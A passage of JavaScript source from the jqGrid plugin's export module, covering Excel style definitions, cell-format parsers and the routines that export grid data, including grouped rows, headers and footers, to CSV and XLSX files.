applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="166" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="167" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="168" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="169" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="3" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="4" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="1" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="2" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="170" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>'+ '<xf numFmtId="49" fontId="0" fillId="0" borderId="0" xfId="0" applyNumberFormat="1"/>'+ '</cellXfs>'+ '<cellStyles count="1">'+ '<cellStyle name="Normal" xfId="0" builtinId="0" />'+ '</cellStyles>'+ '<dxfs count="0" />'+ '<tableStyles count="0" defaultTableStyle="TableStyleMedium9" defaultPivotStyle="PivotStyleMedium4" />'+ '</styleSheet>' }, excelParsers : [ { match: /^\-?\d+\.\d%$/, style: 60, fmt: function (d) { return d/100; } }, // Precent with d.p. { match: /^\-?\d+\.?\d*%$/, style: 56, fmt: function (d) { return d/100; } }, // Percent { match: /^\-?\$[\d,]+.?\d*$/, style: 57 }, // Dollars { match: /^\-?£[\d,]+.?\d*$/, style: 58 }, // Pounds { match: /^\-?€[\d,]+.?\d*$/, style: 59 }, // Euros { match: /^\-?\d+$/, style: 65 }, // Numbers without thousand separators { match: /^\-?\d+\.\d{2}$/, style: 66 }, // Numbers 2 d.p. without thousands separators { match: /^\([\d,]+\)$/, style: 61, fmt: function (d) { return -1 * d.replace(/[\(\)]/g, ''); } }, // Negative numbers indicated by brackets { match: /^\([\d,]+\.\d{2}\)$/, style: 62, fmt: function (d) { return -1 * d.replace(/[\(\)]/g, ''); } }, // Negative numbers indicated by brackets - 2d.p. { match: /^\-?[\d,]+$/, style: 63 }, // Numbers with thousand separators { match: /^\-?[\d,]+\.\d{2}$/, style: 64 }, // Numbers with 2 d.p. and thousands separators { match: /^\d{4}\-\d{2}\-\d{2}$/, style: 67 }, // Dates { match: /(https?:\/\/(?:www\.|(?!www))[^\s\.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})/gi, style : 4} // hyperlink ], addExcelStyle : function ( obj, options, alignment, styleSh) { options = $.extend({ numFmtId : "0", fontId: "0", fillId: "0", borderId: "0", applyFont:"1", applyFill:"1", applyBorder:"1", xfId:"0", applyNumberFormat:"0", applyAlignment : "0" }, options || {}); alignment = $.extend({ horizontal: "left", // left, center, right, fill, justified indent: "0", // indent from left shrinkToFit : "1", //"0" textRotation : "0", // in degree vertical : "center", // top, bottom wrapText : "0" }, alignment || {}); if( $.isEmptyObject( obj )) { obj.excel_parsers = true; } //var styleSh = $.parseXML( $.jgrid.excelStrings['xl/styles.xml']), //xlsx.xl["styles.xml"]; var formats = styleSh.getElementsByTagName("numFmts")[0], celsX = styleSh.getElementsByTagName("cellXfs")[0]; var format=null, style=null; for(var k in obj) { if(obj.hasOwnProperty(k)) { if(k.indexOf('format') !== -1) { format = k; } if(k.indexOf('style') !== -1) { style = k; } } } if(style && !obj[style]) { // add the sformatter var count = 0, maxfmtid =0, fmnt, mycell; if(format && obj[format]) { fmnt= $(formats.getElementsByTagName("numFmt")); $.each( fmnt, function(i,n) { count++; maxfmtid = Math.max(maxfmtid, parseInt( $(n).attr("numFmtId"), 10) ); }); mycell = $.jgrid.makeNode( styleSh , "numFmt", {attr: {numFmtId : maxfmtid + 1, formatCode : obj[format] } }); formats.appendChild( mycell ); $(formats).attr("count", count + 1); } var numid = maxfmtid !== 0 ? maxfmtid + 1 +"" : "0"; count = 0; options.numFmtId = numid; mycell = options.applyAlignment === "1" ? $.jgrid.makeNode( styleSh , "xf", { attr: options , children: [ $.jgrid.makeNode( styleSh, 'alignment', { attr : alignment } ) ] }) : $.jgrid.makeNode( styleSh , "xf", { attr: options }); celsX.appendChild( mycell ); count = $('cellXfs xf', styleSh).length; $(celsX).attr("count", count); obj[style] = count - 1; } return obj; }, newExcelStyle : function ( xlsx, options ) { options = $.extend(true, { font : { size : 11, name : 'Calibri', options :""}, // options <b/> <i/> <u/> color : { patternType : "solid", fgColor : "FFFFFFF", bgColor : 64 } // bgColor if number 0-64 }, options || {}); //PatterType can be one of the following /* none, solid,darkDown,darkGray,darkGrid,darkHorizontal,darkTrellis, darkUp,darkVertical,gray0625,gray125,lightDown,lightGray,lightGrid lightHorizontal,lightTrellis,lightUp,lightVertical,mediumGray */ //styleSheet.childNodes[0].childNodes[0] ==> number formats <numFmts count="6"> </numFmts> //styleSheet.childNodes[0].childNodes[1] ==> fonts <fonts count="5" x14ac:knownFonts="1"> </fonts> //styleSheet.childNodes[0].childNodes[2] ==> fills <fills count="6"> </fills> //styleSheet.childNodes[0].childNodes[3] ==> borders <borders count="2"> </borders> //styleSheet.childNodes[0].childNodes[4] ==> cell style xfs <cellStyleXfs count="1"> </cellStyleXfs> //styleSheet.childNodes[0].childNodes[5] ==> cell xfs <cellXfs count="69"> </cellXfs> //on the last line we have the 69 currently built in styles (0 - 68) var sSh = xlsx.xl['styles.xml']; var lastXfIndex = $('cellXfs xf', sSh).length - 1; var lastFontIndex = $('fonts font', sSh).length - 1; var lastFillIndex = $('fills fill', sSh).length - 1; var font1 = '<font>'+ '<sz val="'+options.font.size+'" />'+ '<name val="'+options.font.name+'" />'+ options.font.options + '</font>'; sSh.childNodes[0].childNodes[1].innerHTML += font1; //new font var bgcolor = 'indexed='; if(parseInt(options.color.bgColor,10) >= 0 ) { bgcolor = 'rgb='; } bgcolor += '"'+options.color.bgColor+'"'; var color1 = '<fill>'+ '<patternFill patternType="'+options.color.patternType+'">'+ '<fgColor rgb="'+options.color.fgColor+'" />'+ '<bgColor ' + bgcolor+' />'+ '</patternFill>'+ '</fill>'; sSh.childNodes[0].childNodes[2].innerHTML += color1; //new color var s1 = '<xf numFmtId="0" fontId="'+(lastFontIndex+1)+'" fillId="'+(lastFillIndex+1)+'" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1"></xf>'; sSh.childNodes[0].childNodes[5].innerHTML += s1; return (lastXfIndex + 1); } }); /******************************************************************** * * due to speed, every export method will have separate module * to collect grouped data * *********************************************************************/ $.jgrid.extend({ exportToCsv : function ( p ) { p = $.extend(true, { separator: ",", separatorReplace : " ", quote : '"', escquote : '"', newLine : "\r\n", // navigator.userAgent.match(/Windows/) ? '\r\n' : '\n'; replaceNewLine : " ", includeCaption : true, includeLabels : true, includeGroupHeader : true, includeFooter: true, includeHeader: true, fileName : "jqGridExport.csv", mimetype : "text/csv;charset=utf-8", returnAsString : false, onBeforeExport : null, treeindent : ' ', visibleTreeNodes : false, loadIndicator : true // can be a function }, p || {}); var ret =""; this.each(function(){ p._regexsep = new RegExp(p.separator, "g"); p._regexquot = new RegExp(p.quote, "g"); var $t = this, // get the filtered data data1 = $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, p.treeindent, p.visibleTreeNodes) : $t.addLocalData( true ), //this.addLocalData( true ), dlen = data1.length, cm = $t.p.colModel, cmlen = cm.length, clbl = $t.p.colNames, i, j=0, row, str = '' , tmp, k, cap = "", hdr = "", ftr="", lbl="", albl=[], htr=""; function groupToCsv (grdata, p) { var str="", grp = $t.p.groupingView, cp=[], len =grp.groupField.length, cm = $t.p.colModel, colspans = cm.length, toEnd = 0; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr= new Array(p.collen), j=0; for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; vv = $t.formatter('', vv, k, this); } catch (ef) { vv = this.v; } retarr[j] = $.jgrid.formatCellCsv( $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ), p ) ; return false; } }); j++; } return retarr; } var sumreverse = $.makeArray(grp.groupSummary), gv, k; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < dlen; ll++) { groupingPrepare.call($($t), data1[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = new Array(p.collen); } arr[0] = $.jgrid.formatCellCsv( $.jgrid.stripHtml( grpTextStr ), p); str += arr.join( p.separator ) + p.newLine; var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, to, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } to = grdata[kk - offset]; k = 0; for(ik = 0; ik < cm.length; ik++) { if(cm[ik]._expcol) { arr[k] = $.jgrid.formatCellCsv( $.jgrid.formatCell( $.jgrid.getAccessor(to, cm[ik].name), ik, to, cm[ik], $t, 'csv' ) , p); k++; } } str += arr.join( p.separator ) + p.newLine; } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); str += arr.join( p.separator ) + p.newLine; } toEnd = jj; } } }); return str; } if( $.jgrid.isFunction( p.loadIndicator )) { p.loadIndicator.call($t,'show'); } else if(p.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } // end group function var def = [], key; $.each(cm,function(i,n) { n._expcol = true; if(n.exportcol === undefined) { if(n.hidden) { n._expcol = false; } } else { n._expcol = n.exportcol; } if(n.name === 'cb' || n.name === 'rn' || n.name === 'subgrid' || n.name === 'sc') { n._expcol = false; } if(n._expcol) { albl.push( $.jgrid.formatCellCsv( clbl[i], p) ); def.push( n.name ); // clbl[i]; } }); if(p.includeLabels) { lbl = albl.join( p.separator ) + p.newLine; } p.collen = albl.length; if( $t.p.grouping ) { var savlcgr = $t.p.groupingView._locgr ? true : false; $t.p.groupingView._locgr = false; str += groupToCsv(data1, p); $t.p.groupingView._locgr = savlcgr; } else { while(j < dlen) { row = data1[j]; tmp = []; k =0; for(i = 0; i < cmlen; i++) { if(cm[i]._expcol) { tmp[k] = $.jgrid.formatCellCsv( $.jgrid.formatCell( $.jgrid.getAccessor(row, cm[i].name) , i, row, cm[i], $t, 'csv' ), p ); k++; } } str += tmp.join( p.separator ) + p.newLine; j++; } } data1 = null; // free // get the column length. tmp = new Array(p.collen); if(p.includeCaption && $t.p.caption) { j=p.collen; while(--j) {tmp[j]="";} tmp[0] = $.jgrid.formatCellCsv( $t.p.caption, p ); cap += tmp.join( p.separator ) + p.newLine; } if(p.includeGroupHeader && $($t).jqGrid('isGroupHeaderOn')) { var gh = $t.p.groupHeader; for (i=0;i < gh.length; i++) { var ghdata = gh[i].groupHeaders; j = 0; tmp = []; for(key=0; key<def.length; key++ ) { //if(!def.hasOwnProperty( key )) { // continue; //} tmp[j] = ''; for(k=0;k<ghdata.length;k++) { if(ghdata[k].startColumnName === def[key]) { tmp[j]= $.jgrid.formatCellCsv( ghdata[k].titleText, p); } } j++; } hdr += tmp.join( p.separator ) + p.newLine; } } var hlen, il; if(p.includeFooter && $t.p.footerrow) { // already formated hlen = $($t).jqGrid("footerData", "getlength"); var frows, fc; for(il=0;il<hlen;il++) { frows = $($t).jqGrid("footerData", "get", null, false, il, false); i=0; tmp=[]; while(i < p.collen){ fc = def[i]; if(frows.hasOwnProperty(fc) ) { tmp.push( $.jgrid.formatCellCsv( $.jgrid.stripHtml( frows[fc] ), p ) ); } i++; } ftr += tmp.join( p.separator ) + p.newLine; } } if(p.includeHeader && $t.p.headerrow) { var hrows, hc; hlen = $($t).jqGrid("headerData", "getlength"); for(il=0;il<hlen;il++) { hrows = $($t).jqGrid("headerData", "get", null, false, il, false); i=0; tmp=[]; while(i < p.collen){ hc = def[i]; if(hrows.hasOwnProperty(hc) ) { tmp.push( $.jgrid.formatCellCsv( $.jgrid.stripHtml( hrows[hc] ), p ) ); } i++; } htr += tmp.join( p.separator ) + p.newLine; } } ret = cap + hdr + lbl + htr + str + ftr; if( $.jgrid.isFunction( p.loadIndicator )) { p.loadIndicator.call($t,'hide'); } else if(p.loadIndicator) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); } if($.jgrid.isFunction( p.onBeforeExport) ) { ret = p.onBeforeExport.call($t,ret); if(!ret) { throw "Before export does not return data!"; } } if (p.returnAsString) { //return ret; } else { // add BOM fix Excel if(p.mimetype.toUpperCase().indexOf("UTF-8") !== -1) { ret = '\ufeff' + ret; } $.jgrid.saveAs( ret, p.fileName, { type : p.mimetype }); } }); return ret; }, /* * * @param object o - settings for the export * @returns excel 2007 document * The method requiere jsZip lib in order to create excel document */ exportToExcel : function ( o ) { o = $.extend(true, { includeLabels : true, includeGroupHeader : true, includeFooter: true, includeHeader: true, fileName : "jqGridExport.xlsx", mimetype : "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", maxlength : 40, // maxlength for visible string data onBeforeExport : null, customizeData : null, replaceStr : null, treeindent : ' ', visibleTreeNodes : false, loadIndicator : true // can be a function }, o || {} ); this.each(function() { var $t = this, es = $.jgrid.excelStrings, rowPos = 0, rels = $.parseXML( es['xl/worksheets/sheet1.xml']), relsGet = rels.getElementsByTagName( "sheetData" )[0], styleSh = $.parseXML( es['xl/styles.xml']), //xlsx.xl["styles.xml"]; //= styleSh.getElementsByTagName("numFmts")[0], //celsX = styleSh.getElementsByTagName("cellXfs")[0], xlsx = { _rels: { ".rels": $.parseXML( es['_rels/.rels']) }, xl: { _rels: { "workbook.xml.rels": $.parseXML( es['xl/_rels/workbook.xml.rels']) }, "workbook.xml": $.parseXML( es['xl/workbook.xml']), "styles.xml": styleSh, //$.parseXML( es['xl/styles.xml']), "worksheets": { "sheet1.xml": rels } }, "[Content_Types].xml": $.parseXML( es['[Content_Types].xml']) }, cm = $t.p.colModel, i=0, j, ien, data = { body : $t.p.treeGrid ? $($t).jqGrid('getRowData', null, true, o.treeindent, o.visibleTreeNodes) : $t.addLocalData( true ), header : [], footer : [], width : [], map : [], parser :[], labels : [], hidden : [], mergecell:[] }; var defaultHeaderStyle = $.jgrid.addExcelStyle( {excel_header_style:""}, {fontId :"2", applyAlignment : "1"} , {horizontal: "center", vertical :"center"}, styleSh).excel_header_style; for ( j=0, ien=cm.length ; j<ien ; j++ ) { cm[j]._expcol = true; if(cm[j].exportcol === undefined) { if(cm[j].hidden) { cm[j]._expcol = false; } } else { cm[j]._expcol = cm[j].exportcol; } if(cm[j]._colspancell === undefined) { cm[j]._colspancell = false; } if( $.jgrid.isServiceCol(cm[j].name) || !cm[j]._expcol ) { data.hidden.push(cm[j].name); continue; } data.header[i] = cm[j].name; data.width[ i ] = 5; data.map[i] = j; //data.parser[j] = $.jgrid.addExcelStyle( cm[j].hasOwnProperty('exportoptions') ? $.extend( {}, cm[j].exportoptions ) : {} ); data.labels[i] = $t.p.colNames[j]; if(cm[j].hasOwnProperty('exportoptions')) { var ef={}, ehf={}; if(cm[j].exportoptions.excel_format) { ef = $.jgrid.addExcelStyle( { excel_format : cm[j].exportoptions.excel_format, excel_style : cm[j].exportoptions.excel_style || ""}, {}, {}, styleSh ); } if(cm[j].exportoptions.excel_header_format) { ehf = $.jgrid.addExcelStyle( { excel_header_format : cm[j].exportoptions.excel_header_format, excel_header_style : cm[j].exportoptions.excel_header_style || ""}, {fontId:"2",applyAlignment:"1" },{horizontal:"center"}, styleSh ); } data.parser[j] = $.extend (ef,ehf); if(cm[j].exportoptions.replace_format) { data.parser[j].replace_format = cm[j].exportoptions.replace_format; } if(cm[j].exportoptions.replace_header_format) { data.parser[j].replace_header_format = cm[j].exportoptions.replace_header_format; } } else { data.parser[j] = { excel_parsers : true }; } i++; } if ( o.includeFooter || $t.p.footerrow) { var dfl = $($t).jqGrid("footerData", "getlength"), dil, dfooter; for(dil=0; dil<dfl; dil++) { dfooter = $($t).jqGrid("footerData", "get", null, false, dil, false); for( i in dfooter) { if(dfooter.hasOwnProperty(i)) { dfooter[i] = $.jgrid.stripHtml(dfooter[i]); } } data.footer.push( dfooter); } } if( $.jgrid.isFunction(o.customizeData) ) { o.customizeData.call($t, data); } function _replStrFunc (v) { return v.replace(/</g, '<') .replace(/>/g, '>') .replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g, ''); } function _makeCellSpecial ( p, v ) { return $.jgrid.makeNode( rels, 'c', { attr: p, children: [ $.jgrid.makeNode( rels, 'v', { text: v } ) ] }); } function _makeCellFunction ( p, v ) { return $.jgrid.makeNode( rels, 'c', { attr: p, children: [ $.jgrid.makeNode( rels, 'f', { text: v } ) ] }); } function _makeCellString ( cellId, text, estyle ) { if( estyle === undefined) { estyle = 68; } return $.jgrid.makeNode( rels, 'c', { attr: { t: 'inlineStr', r: cellId, s: estyle }, children:{ row: $.jgrid.makeNode( rels, 'is', { children: { row: $.jgrid.makeNode( rels, 't', { text: text} ) } }) } } ); } function linkParse(strLinkHTML) { var oDiv, oNode; (oDiv = document.createElement('div')).innerHTML = strLinkHTML; oNode = oDiv.firstChild; if(oNode.nodeName === 'A' ) { return [oNode.href,oNode.text]; } else if (oNode.nodeName === '#text') { return [oNode.textContent,oNode.textContent]; } return false; } var _replStr = $.jgrid.isFunction(o.replaceStr) ? o.replaceStr : _replStrFunc, currentRow, rowNode, addRow = function ( row, header, labels, skipfirstcol ) { if(labels===undefined) { labels = false; } if(skipfirstcol===undefined) { skipfirstcol = false; } currentRow = rowPos+1; rowNode = $.jgrid.makeNode( rels, "row", { attr: {r:currentRow} } ); var maxieenum = 15, text, omit; for ( var i =0; i < data.header.length; i++) { // key = cm[i].name; // Concat both the Cell Columns as a letter and the Row of the cell. var cellId = $.jgrid.excelCellPos(i) + '' + currentRow, cell, match, v= (Array.isArray(row) && header) ? data.labels[i] : $.jgrid.getAccessor( row, data.header[i] ); if ( v == null ) { v = ''; } if(!header) { omit = (i===0 && skipfirstcol); v = omit || (skipfirstcol && v==='') ? v : $.jgrid.formatCell( v, data.map[i], row, cm[data.map[i]], $t, 'excel'); // convert whitespace from formatter to empty string if(v && (v===' ' || v===' ' || (v.length===1 && v.charCodeAt(0)===160))) { v = ''; } } data.width[i] = Math.max(data.width[i], Math.min(parseInt(v.toString().length,10), o.maxlength) ); cell = null; var expo = data.parser[data.map[i]]; if( header && labels) { if(expo.replace_header_format) { v = expo.replace_header_format(v); } if(expo.excel_header_style !== undefined) { if(expo.excel_header_style === 'text') { cell = _makeCellString( cellId, v); } else if (expo.excel_header_style <= 55) { cell = _makeCellString( cellId, v, expo.excel_header_style); //cell = _makeCellSpecial( {r: cellId,s: expo.excel_style}, v ); } else { cell = _makeCellSpecial( {r: cellId,s: expo.excel_header_style}, v ); } } else { cell = _makeCellString( cellId, v, defaultHeaderStyle); } rowNode.appendChild( cell ); } else if( expo.excel_parsers === true && !cell) { for ( var j=0, jen=$.jgrid.excelParsers.length ; j<jen ; j++ ) { var special = $.jgrid.excelParsers[j]; if ( v.match && ! v.match(/^0\d+/) && v.match( special.match ) ) { var a = v; v = v.replace(/[^\d\.\-]/g, ''); if ( special.fmt ) { v = special.fmt( v ); } if(special.style === 67) { //Dates cell = _makeCellSpecial( { t: 'd', r: cellId, s: special.style }, v); } else if(special.style === 4) { // hyperlink v = linkParse (a); if(v) { cell = _makeCellFunction( { t: 'str', r: cellId, s: special.style }, 'HYPERLINK(\"'+v[0]+'\",\"'+v[1]+'\")'); } else { cell = _makeCellString( cellId, a); } } else { if( $.inArray( special.style, ["63", "64", "65", "66"]) ) { // Numbers if( v.toString().length > maxieenum ) { text = ! a.replace ? a : _replStr(a); cell = _makeCellString( cellId, text); rowNode.appendChild( cell ); break; } } cell = _makeCellSpecial( {r: cellId,s: special.style}, v ); } rowNode.appendChild( cell ); break; } } } else if( expo.excel_style !== undefined && !header && !cell) { if(expo.replace_format) { v = expo.replace_format(v); } if(expo.excel_style === 'text') { cell = _makeCellString( cellId, v); } else if (expo.excel_style <= 55) { cell = _makeCellString( cellId, v, expo.excel_style); //cell = _makeCellSpecial( {r: cellId,s: expo.excel_style}, v ); } else { cell = _makeCellSpecial( {r: cellId,s: expo.excel_style}, v ); } rowNode.appendChild( cell ); } if( ! cell ) { // Detect numbers - don't match numbers with leading zeros or a negative if(v.match) { match = v.match(/^-?([1-9]\d+)(\.(\d+))?$/); } if ( (typeof v === 'number' && v.toString().length <= maxieenum) || ( match && (match[1].length + (match[2] ? match[3].length : 0) <= maxieenum)) ) { cell = _makeCellSpecial( {t: 'n', r: cellId }, v ); } else { // Replace non standard characters for text output text = ! v.replace ? v : _replStr(v); cell = _makeCellString( cellId, text); } rowNode.appendChild( cell ); } } relsGet.appendChild(rowNode); rowPos++; }; //========================================================================= function groupToExcel ( grdata ) { var grp = $t.p.groupingView, cp=[], len =grp.groupField.length, colspans = cm.length, toEnd = 0; $.each(cm, function (i,n){ var ii; for(ii=0;ii<len;ii++) { if(grp.groupField[ii] === n.name ) { cp[ii] = i; break; } } }); function findGroupIdx( ind , offset, grp) { var ret = false, i; if(offset===0) { ret = grp[ind]; } else { var id = grp[ind].idx; if(id===0) { ret = grp[ind]; } else { for(i=ind;i >= 0; i--) { if(grp[i].idx === id-offset) { ret = grp[i]; break; } } } } return ret; } function buildSummaryTd(i, ik, grp, foffset) { var fdata = findGroupIdx(i, ik, grp), //cm = $t.p.colModel, vv, grlen = fdata.cnt, k, retarr = emptyData(data.header); for(k=foffset; k<colspans;k++) { if(!cm[k]._expcol) { continue; } var tplfld = "{0}"; $.each(fdata.summary,function(){ if(this.nm === cm[k].name) { if(cm[k].summaryTpl) { tplfld = cm[k].summaryTpl; } vv = this.v; if(typeof this.st === 'string' && this.st.toLowerCase() === 'avg') { if(this.sd && this.vd) { vv = (this.v/this.vd); } else if(this.v && grlen > 0) { vv = (this.v/grlen); } } try { this.groupCount = fdata.cnt; this.groupIndex = fdata.dataIndex; this.groupValue = fdata.value; //vv = $t.formatter('', this.v, k, this); //vv = this.v; } catch (ef) { vv = this.v; } retarr[this.nm] = $.jgrid.stripHtml( $.jgrid.template(tplfld,vv) ); return false; } }); } return retarr; } function emptyData ( d ) { var clone = {}; for(var key=0;key<d.length; key++ ) { clone[ d[key] ] = ""; } return clone; } var sumreverse = $.makeArray(grp.groupSummary), gv; sumreverse.reverse(); if($t.p.datatype === 'local' && !$t.p.loadonce) { $($t).jqGrid('groupingSetup'); var groupingPrepare = $.jgrid.getMethod("groupingPrepare"); for(var ll=0; ll < data.body.length; ll++) { groupingPrepare.call($($t), data.body[ll], ll); } } $.each(grp.groups,function(i,n){ toEnd++; try { if (Array.isArray(grp.formatDisplayField) && $.jgrid.isFunction(grp.formatDisplayField[n.idx])) { gv = grp.formatDisplayField[n.idx].call($t, n.displayValue, n.value, $t.p.colModel[cp[n.idx]], n.idx, grp); } else { gv = $t.formatter('', n.displayValue, cp[n.idx], n.value ); } } catch (egv) { gv = n.displayValue; } var grpTextStr = ''; if($.jgrid.isFunction(grp.groupText[n.idx])) { grpTextStr = grp.groupText[n.idx].call($t, gv, n.cnt, n.summary); } else { grpTextStr = $.jgrid.template(grp.groupText[n.idx], gv, n.cnt, n.summary); } if( !(typeof grpTextStr ==='string' || typeof grpTextStr ==='number' ) ) { grpTextStr = gv; } var arr; if(grp.groupSummaryPos[n.idx] === 'header') { arr = buildSummaryTd(i, 0, grp.groups, 0 /*grp.groupColumnShow[n.idx] === false ? (mul ==="" ? 2 : 3) : ((mul ==="") ? 1 : 2)*/ ); } else { arr = emptyData(data.header); } var fkey = Object.keys(arr); arr[fkey[0]] = $.jgrid.stripHtml( new Array(n.idx*5).join(' ') + grpTextStr ); addRow( arr, false, false, true ); var leaf = len-1 === n.idx; if( leaf ) { var gg = grp.groups[i+1], kk, ik, offset = 0, sgr = n.startRow, end = gg !== undefined ? gg.startRow : grp.groups[i].startRow + grp.groups[i].cnt; for(kk=sgr;kk<end;kk++) { if(!grdata[kk - offset]) { break; } var to = grdata[kk - offset]; addRow( to, false ); } if(grp.groupSummaryPos[n.idx] !== 'header') { var jj; if (gg !== undefined) { for (jj = 0; jj < grp.groupField.length; jj++) { if (gg.dataIndex === grp.groupField[jj]) { break; } } toEnd = grp.groupField.length - jj; } for (ik = 0; ik < toEnd; ik++) { if(!sumreverse[ik]) { continue; } arr = buildSummaryTd(i, ik, grp.groups, 0); addRow( arr, false, false, true ); } toEnd = jj; } } }); } //============================================================================ if( $.jgrid.isFunction( o.loadIndicator )) { o.loadIndicator.call($t, 'show'); } else if(o.loadIndicator) { $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.loadtext') }); } $( 'sheets sheet', xlsx.xl['workbook.xml'] ).attr( 'name', o.sheetName ); var mrow =0, gh , mergecell=[],key, l, clone ={}, ind, ghdata, start, end; if(o.includeGroupHeader && $($t).jqGrid('isGroupHeaderOn') ) { gh = $t.p.groupHeader; for (l = 0; l < gh.length; l++) { ghdata = gh[l].groupHeaders; var colspan = gh[l].useColSpanStyle && gh.length === 1, colToSkip=[], ghputin = [], colInHeader = [], k, nok, cpos, fk; mrow++; // column to skip if(colspan) { for(k = 0; k < ghdata.length; k++) { key = ghdata[k].startColumnName; nok = ghdata[k].numberOfColumns; cpos = $.jgrid.getElemByAttrVal (cm, 'name', key, true) ; for(fk = cpos; fk < cpos + ghdata[k].numberOfColumns;fk++) { colInHeader[cm[fk].name] = key; ind = data.header.indexOf(cm[fk].name); if( ind !== -1) { colToSkip.push(ind); } } } } for(j = 0; j < data.header.length; j++ ) { key = data.header[j]; clone[key] = colspan ? data.labels[j] : ""; start = -1; end = -1; for(k = 0; k < ghdata.length; k++) { if(ghdata[k].startColumnName === key) { ghputin.push(key); clone[key] = ghdata[k].titleText; nok = ghdata[k].numberOfColumns; cpos = $.jgrid.getElemByAttrVal (cm, 'name', key, true) ; for(fk = cpos; fk < cpos + ghdata[k].numberOfColumns;fk++) { if(cm[fk].hidden === true) { nok--; } } start = $.jgrid.excelCellPos(j) + mrow; end = $.jgrid.excelCellPos(j+ nok - 1) + mrow; mergecell.push({ ref: start+":"+end }); } } if(start === -1 && end === -1 && colspan && colToSkip.indexOf(j) === -1) { start = $.jgrid.excelCellPos(j) + mrow; end = $.jgrid.excelCellPos(j) + (mrow + 1); mergecell.push({ ref: start+":"+end }); } } // we are lost - need to find way if(ghputin.length < ghdata.length) { for(k=0;k < data.hidden.length;k++) { var icol = $.jgrid.inColumnHeader(data.hidden[k], ghdata); // if hidden startColumnName if(icol >= 0 ) { key = data.hidden[k]; for(var key2 in colInHeader) { if(colInHeader[key2] === key) { if(clone[key2]) { // first visible in group clone[key2] = ghdata[icol].titleText; ind = data.header.indexOf(key2); nok = ghdata[icol].numberOfColumns; cpos = $.jgrid.getElemByAttrVal (cm, 'name', key, true) ; for(fk = cpos; fk 